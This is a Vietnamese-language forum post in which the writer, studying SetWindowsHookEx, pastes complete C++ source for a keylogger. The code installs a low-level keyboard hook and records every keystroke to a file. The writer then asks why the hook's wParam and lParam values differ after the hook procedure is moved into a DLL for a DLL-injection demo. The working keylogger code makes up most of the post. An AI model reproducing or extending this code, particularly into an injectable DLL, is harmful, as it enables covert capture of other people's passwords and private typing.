Xin chào mọi người, hiện tại mình đang tìm hiểu về setWindowsHookEx và demo viết một keylogger, theo mình tìm hiểu trên mạng thì code keylogger của người ta như sau:
#include <fstream>
#include <Windows.h>
using namespace std;
ofstream out("D:\\keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
// Visible keys
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc, NULL, 0);
MessageBox(NULL, L"Press OK to stop logging.", L"Information", MB_OK);
out.close();
return 0;
}
Như mọi người thấy thì trong ví dụ trên thì hàm keyboardHookProc nằm chung trong file source, tuy nhiên khi mình chuyển keyboardHookProc vào file DLL để demo DLL injection thì p->vkCode lại bị lỗi
Và khi mình kiểm tra giá trị của 2 tham số wParam và lParam thì nó khá là kì, trong code của người ta thì wParam = VM_KEYDOWN, còn khi trong dll thì nó lại bằng các giá trị code của key được nhấn, còn lParam thì bằng giá trị gì đó mình cũng không rõ nhưng khi kiểm tra thì mình nhận thấy là nếu giá trị lParam = 0x0000....
thì hình như là khi keydown còn lParam = 0xc000....
thì là khi keyup.
Các bạn cho mình hỏi là tại sao lại có sự khác biệt như vậy? Và có cách nào để mình có thể xử lý wParam và lParam giống như code của người ta không?
Mình cảm ơn.